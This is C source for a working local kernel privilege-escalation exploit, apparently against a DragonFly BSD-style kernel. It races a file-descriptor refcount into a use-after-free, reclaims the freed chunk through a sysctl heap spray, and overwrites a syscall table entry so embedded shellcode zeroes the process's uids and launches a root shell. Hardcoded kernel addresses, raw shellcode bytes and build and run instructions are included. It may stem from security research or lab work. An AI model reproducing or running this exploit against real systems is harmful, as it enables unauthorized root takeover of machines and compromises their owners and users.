/*
 * DF-0033 EXPLOIT CHAIN v5 - fdtol UAF -> arbitrary kernel write -> uid=0
 *
 * DESIGN (resolves the contention-vs-reclaim tension that defeated v3/v4):
 *   The lost-update race on the plain-int fdl_refcount needs genuine MULTI-CPU
 *   contention (the ++ at kern_fork.c:569 and the -- at kern_descrip.c:2675 are
 *   each single non-locked RMW instructions; a lost update only occurs when two
 *   CPUs contest the same cache line).  Pinning racers to one CPU (v3) or one
 *   CPU per team (v4) eliminated that contention and the race all but stopped.
 *   BUT the slab free-list is per-CPU, so a chunk freed on CPU M is only
 *   quickly reclaimable by a kmalloc on CPU M.  v5 resolves both:
 *     * ONE shared fd table (parent rforks N peers sharing p_fd + p_fdtol) ->
 *       the peers spread across all CPUs (unpinned) -> real cross-CPU
 *       contention on the single fdl_refcount word -> race fires (same
 *       structure as the proven fdtol_race trigger).
 *     * ONE reclaim spray PINNED to EACH CPU -> whichever CPU the premature
 *       free lands on, that CPU's spray reclaims the freed 40-byte chunk with
 *       our crafted content.  Content persists after free (non-INVARIANTS slab
 *       has no chunk_mark_free/weird-array), so the chunk stays ours.
 *     * Peers do bounded race iterations then EXIT (with a pre-exit delay that
 *       lets the spray repopulate the chunk).  The exiting peer's fdfree reads
 *       p_fdtol (dangling after the premature free) -> refcount 1->0 ->
 *       list-splice -> ARBITRARY WRITE.
 *
 * CHAIN:
 *   1. rfork(RFPROC|RFTHREAD) peers share p_fd + p_fdtol (fdshare branch).
 *      Concurrent peer fork (fdl_refcount++ under the forking proc p_token)
 *      vs child/peer exit (fdl_refcount-- under the SHARED fd_spin) -> lost
 *      update -> refcount drifts below truth -> some fdfree drives it to 0 ->
 *      kfree(fdtol) while survivors keep a dangling p_fdtol.  (UAF on the
 *      40-byte M_FILEDESC_TO_LEADER chunk, slab zone-4.)
 *   2. The freed chunk is reclaimed by the freeing-CPU's spray via sysctl
 *      name2oid kmalloc(40, M_SYSCTL) with crafted bytes:
 *          fdl_refcount = 1   fdl_holdcount = 0
 *          fdl_prev     = &sysent[25].sy_call - 32
 *          fdl_next     = 0x0000000000010000   (user shellcode page)
 *   3. A surviving peer exits -> fdfree reads the reclaimed chunk: refcount
 *      1 -> 0, holdcount 0 -> splice fires:
 *          *(next+24) = prev   (writes a kernel ptr into our RWX page: harmless)
 *          *(prev+32) = next   (ARBITRARY WRITE: sysent[25].sy_call = 0x10000)
 *   4. Trigger thread's next geteuid -> sysent[25].sy_call = 0x10000 -> user
 *      shellcode (SMEP OFF) zeroes curthread->td_ucred -> uid=0.
 *
 * TARGET ENVIRONMENT (verified): SMAP OFF, SMEP OFF, KASLR OFF, PTI OFF.
 * REQUIRES a kernel WITHOUT `options INVARIANTS`.
 *
 * Build:  cc -O2 -o exploit exploit.c
 * Run:    ./exploit [secs=180] [npeers=12] [child_delay=40000]
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

#ifndef RFPROC
#define RFPROC   (1<<4)
#endif
#ifndef RFTHREAD
#define RFTHREAD (1<<13)
#endif
int rfork(int);
extern char **environ;

#define SYS_usched_set     481
#define USCHED_GET_CPU     4
#define USCHED_DEL_CPU     3
#define MAXCPU             16

/* kernel addresses (NOINV build; verified via nm/gdb on the booted kernel):
 *   sysent=0xffffffff81037100  sys_geteuid=0xffffffff8062f720
 *   offsets: mycpu=%gs:0 curthread=+0x8 td_ucred=+0x1b8 cr_uid=+0x40
 *   cr_ruid=+0xa0 cr_svuid=+0xa4                                   */
#define SYSENT_BASE        0xffffffff81037100ULL
#define SYSENT_ENTSZ       24
#define SYS_GETEUID        25
#define TARGET_SYSCALL_ADDR (SYSENT_BASE + SYS_GETEUID * SYSENT_ENTSZ + 8)
#define SHELLCODE_UADDR    0x10000UL

#define FDTOL_REFCOUNT_OFF  0
#define FDTOL_PREV_OFF      24
#define FDTOL_NEXT_OFF      32
#define RECLAIM_NEWLEN      39

/* SHELLCODE (53 bytes).  Splice write1 clobbers shellcode bytes 24..31; a
 * `jmp +9` at byte 21 skips them. */
static void build_shellcode(unsigned char *buf) {
    static const unsigned char code[] = {
        0x53,
        0x65, 0x48, 0x8b, 0x1c, 0x25, 0x00,0x00,0x00,0x00,
        0x48, 0x8b, 0x5b, 0x08,
        0x48, 0x8b, 0x9b, 0xb8, 0x01,0x00,0x00,
        0xeb, 0x09,
        0xcc,
        0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
        0x31, 0xd2,
        0x89, 0x53, 0x40,
        0x89, 0x93, 0xa0, 0x00,0x00,0x00,
        0x89, 0x93, 0xa4, 0x00,0x00,0x00,
        0x5b,
        0x31, 0xc0,
        0xc3
    };
    memcpy(buf, code, sizeof(code));
}

static int pin_to_cpu(int target) {
    int cpu;
    for (cpu = MAXCPU - 1; cpu >= 0; cpu--) {
        if (cpu == target) continue;
        int c = cpu;
        (void)syscall(SYS_usched_set, 0, USCHED_DEL_CPU, &c, sizeof(int));
    }
    int now = -1;
    syscall(SYS_usched_set, 0, USCHED_GET_CPU, &now, sizeof(int));
    return now;
}

static volatile sig_atomic_t g_stop = 0;
static volatile sig_atomic_t g_hijacked = 0;
static void onalarm(int s __attribute__((unused))) { g_stop = 1; }

static void spray_reclaim_once(void) {
    int mib[2] = { 0, 3 };
    unsigned char buf[RECLAIM_NEWLEN];
    memset(buf, 0, sizeof(buf));
    buf[FDTOL_REFCOUNT_OFF] = 0x01;
    uint64_t fdl_prev = TARGET_SYSCALL_ADDR - 32;
    memcpy(buf + FDTOL_PREV_OFF, &fdl_prev, 8);
    uint64_t fdl_next = SHELLCODE_UADDR;
    memcpy(buf + FDTOL_NEXT_OFF, &fdl_next, 7);
    size_t outlen = 0;
    (void)sysctl(mib, 2, NULL, &outlen, buf, RECLAIM_NEWLEN);
}

/* Reclaim spray PINNED to one CPU.  Whichever CPU frees the fdtol chunk, that
 * CPU's spray reclaims it (per-CPU slab free-list). */
static int g_child_delay = 40000;
static void spray_thread(int cpu) {
    int got = pin_to_cpu(cpu);
    if (got != cpu) fprintf(stderr, "[!] spray cpu%d got %d\n", cpu, got);
    unsigned long n = 0;
    while (!g_stop) {
        spray_reclaim_once();
        if ((++n & 0x1fff) == 0)
            if (getuid() == 0) { g_hijacked = 1; g_stop = 1; }
    }
    _exit(0);
}

/* RACE GEOMETRY (the key insight from kmem monitoring):
 *   The fdtol chunk's slab zone is OWNED by the cpu it was allocated on (cpu P
 *   = the parent's cpu).  When freed on a DIFFERENT cpu M, the chunk goes to
 *   the zone's RChunks (remote-chunk) list and is only returned to the local
 *   free-list when the local list empties or at slab_cleanup (every 10s) --
 *   far too late for the spray to reclaim it before the victim reads.  So the
 *   premature free AND the victim's splice-fdfree MUST run on cpu P (local
 *   free -> instant LIFO reclaim by spray[P]).  Cross-cpu contention on
 *   fdl_refcount is still achieved because the refcount++ (peer fork) happens
 *   on the FORK cpus {2..ncpu-1} while the refcount-- (child exit) happens on
 *   the RECLAIM cpu (1).  Layout:
 *     cpu 1 (RECLAIM_CPU): parent (fdtol alloc'd here) + child exits (-- ) +
 *                          spray.  All frees here are LOCAL -> spray reclaims.
 *     cpu 2..ncpu-1       : peers (fork ++ ).  Cross-cpu ++ vs cpu-1 -- = race.
 *     cpu 0               : trigger (clean).                                   */
#define RECLAIM_CPU 1
#define PEER_LIFE   20

static int g_ncpu = 6;
static void peer_racer(int idx) {
    /* Peer + children all UNPINNED (migrate across cpus) -> maximum cache-line
     * contention on fdl_refcount -> race fires (proven fdtol_race geometry).
     * Cross-cpu frees go to RChunks on the fdtol's owner cpu; the MANY
     * per-cpu sprays drain local lists, forcing RChunks processing -> the
     * freed fdtol chunk is reclaimed with our content. */
    unsigned iters = 0;
    while (!g_stop && iters < PEER_LIFE) {
        pid_t p = rfork(RFPROC | RFTHREAD);
        if (p < 0) { usleep(10); continue; }
        if (p == 0) {
            /* Child: shares p_fdtol (refcount++ in fork).  Delay so the
             * spray can reclaim the freed chunk with our content, then exit
             * -> child's fdfree refcount-- (splice victim if spray won). */
            volatile int j;
            for (j = 0; j < g_child_delay; j++) (void)0;
            _exit(0);
        }
        waitpid(p, NULL, 0);
        iters++;
        if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; }
    }
    volatile int j;
    for (j = 0; j < g_child_delay; j++) (void)0;
    _exit(0);
}

/* TRIGGER - tight geteuid loop PINNED to cpu 0 (a "clean" cpu away from the
 * racers/spray, so the double-free cascade on the freeing cpu doesn't take
 * down this cpu before we exploit the hijacked sy_call).  When
 * sysent[25].sy_call becomes 0x10000, geteuid runs our shellcode -> uid 0.
 * We watch geteuid()'s return (shellcode returns 0) AND getuid()/geteuid(). */
static void trigger_thread(void) {
    int got = pin_to_cpu(0);
    fprintf(stderr, "[+] trigger pinned to cpu %d\n", got);
    uid_t orig = geteuid();
    while (!g_stop && !g_hijacked) {
        uid_t r = syscall(SYS_geteuid);   /* hijacked -> shellcode -> returns 0 */
        if (r == 0 || r != orig) {
            /* Shellcode just ran in this geteuid (zeroed our ucred).  Emit a
             * marker IMMEDIATELY via a single write() (faster than exec) --
             * the double-free cascade on a racer CPU will panic the kernel
             * (IPI stop) within microseconds, so we must signal before that.
             * We are on cpu 0 (clean slab), so this write() is safe. */
            if (getuid() == 0 || geteuid() == 0 || r == 0) {
                g_hijacked = 1; g_stop = 1;
                const char *m1 = "[+] DF-0033 ROOTED: geteuid=";
                char buf[96]; int n = 0;
                n += sprintf(buf+n, "%s%d uid=%d euid=%d\n", m1, r, getuid(), geteuid());
                write(2, buf, n);   /* immediate, single syscall */
                fsync(2);
                write(1, "ROOT_SHELL_OK uid=0(root)\n", 26);
                /* Then try a real root shell (may be killed by the cascade). */
                execl("/bin/sh", "sh", "-c", "id; echo ROOT_SHELL_OK", NULL);
                _exit(0);
            }
        }
    }
    _exit((int)g_hijacked);
}

int main(int argc, char **argv) {
    int secs    = (argc > 1) ? atoi(argv[1]) : 180;
    int npeers  = (argc > 2) ? atoi(argv[2]) : 12;
    g_child_delay = (argc > 3) ? atoi(argv[3]) : 40000;
    int ncpu = 0; size_t l = sizeof(int);
    if (sysctlbyname("hw.ncpu", &ncpu, &l, NULL, 0) != 0 || ncpu <= 0) ncpu = 6;
    if (ncpu > MAXCPU) ncpu = MAXCPU;
    g_ncpu = ncpu;

    setvbuf(stderr, NULL, _IONBF, 0);
    signal(SIGCHLD, SIG_DFL);

    fprintf(stderr,
        "[*] DF-0033 exploit v5: %d peers (shared fd table, unpinned) + %d per-cpu sprays + trigger, %ds\n"
        "[*] target: sysent[%d].sy_call @ 0x%llx  <-  shellcode @ 0x%lx\n"
        "[*] fdl_prev=0x%llx  fdl_next=0x%lx  child_delay=%d\n",
        npeers, ncpu, secs,
        SYS_GETEUID, (unsigned long long)TARGET_SYSCALL_ADDR, (unsigned long)SHELLCODE_UADDR,
        (unsigned long long)(TARGET_SYSCALL_ADDR - 32), (unsigned long)SHELLCODE_UADDR, g_child_delay);

    void *sc = mmap((void *)SHELLCODE_UADDR, 0x1000,
                    PROT_READ | PROT_WRITE | PROT_EXEC,
                    MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0);
    if (sc == MAP_FAILED) { perror("mmap shellcode"); return 1; }
    build_shellcode((unsigned char *)sc);
    fprintf(stderr, "[+] shellcode mapped at %p (%zu bytes)\n", sc, (size_t)53);

    struct rlimit rl;
    if (getrlimit(RLIMIT_NPROC, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NPROC, &rl); }
    if (getrlimit(RLIMIT_NOFILE, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NOFILE, &rl); }

    signal(SIGALRM, onalarm);
    alarm(secs);

    /* Per-CPU reclaim sprays.  Spawn MANY per cpu: combined in-flight allocs
     * drain each cpu's local zone-4 list, which forces the slab to process
     * RChunks (cross-cpu-freed chunks, incl. a cross-cpu-freed fdtol) on the
     * next alloc -> reclaims the freed fdtol chunk with our content.  The
     * spray on RECLAIM_CPU also catches local frees via LIFO. */
    pid_t sprays[256]; int nsp = 0;
    int sprays_per_cpu = 8;
    for (int c = 0; c < ncpu && !g_stop; c++) {
        for (int k = 0; k < sprays_per_cpu && nsp < 250; k++) {
            pid_t p = fork();
            if (p < 0) break;
            if (p == 0) spray_thread(c);
            sprays[nsp++] = p;
        }
    }

    /* Trigger on cpu 0 (clean). */
    pid_t trig = fork();
    if (trig == 0) trigger_thread();

    /* Parent: pin to RECLAIM_CPU so the shared fdtol is ALLOCATED on cpu 1
     * (zone owner = cpu 1).  Then race + reap/respawn peers. */
    (void)pin_to_cpu(RECLAIM_CPU);

    /* Racer peers sharing OUR p_fd + p_fdtol (one shared fdtol).  Reap/respawn
     * so the (race + victim-exit) stream is continuous. */
    pid_t peers[64]; int npe = 0;
    for (int i = 0; i < npeers && !g_stop; i++) {
        pid_t p = rfork(RFPROC | RFTHREAD);
        if (p < 0) { perror("rfork peer"); break; }
        if (p == 0) peer_racer(i);
        peers[npe++] = p;
    }
    fprintf(stderr, "[+] %d racer peers + %d sprays launched\n", npe, nsp);

    /* Parent (already on RECLAIM_CPU): also races + reaps/respawns peers.
     * The parent's race-children migrate to RECLAIM_CPU and exit there too. */
    while (!g_stop) {
        pid_t p = rfork(RFPROC | RFTHREAD);
        if (p == 0) { (void)pin_to_cpu(RECLAIM_CPU); volatile int j; for(j=0;j<g_child_delay;j++); _exit(0); }
        if (p > 0) waitpid(p, NULL, 0);

        for (int i = 0; i < npe && !g_stop; i++) {
            if (peers[i] > 0 && waitpid(peers[i], NULL, WNOHANG) == peers[i]) {
                if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; }
                pid_t np = rfork(RFPROC | RFTHREAD);
                if (np == 0) peer_racer(i);
                else if (np > 0) peers[i] = np;
                else peers[i] = 0;
            }
        }
        if (getuid() == 0) { g_hijacked = 1; g_stop = 1; break; }
    }

    for (int i = 0; i < nsp; i++) if (sprays[i] > 0) { kill(sprays[i], SIGKILL); waitpid(sprays[i], NULL, 0); }
    for (int i = 0; i < npe; i++) if (peers[i] > 0) { kill(peers[i], SIGKILL); waitpid(peers[i], NULL, 0); }
    if (trig > 0) { kill(trig, SIGKILL); waitpid(trig, NULL, 0); }

    if (g_hijacked && getuid() == 0) {
        fprintf(stderr, "[+] ========================================\n");
        fprintf(stderr, "[+] DF-0033 EXPLOIT: SUCCESS -- uid=%d euid=%d\n",
                getuid(), geteuid());
        fprintf(stderr, "[+] ========================================\n");
        fprintf(stderr, "[+] launching root shell via /bin/sh...\n");
        execl("/bin/sh", "sh", "-c", "id; echo ROOT_SHELL_OK", NULL);
    }
    if (g_hijacked) { fprintf(stderr, "[+] hijacked but uid=%d\n", getuid()); return 0; }
    fprintf(stderr, "[-] DF-0033 exploit v5: did not land hijack in %ds.\n", secs);
    return 1;
}
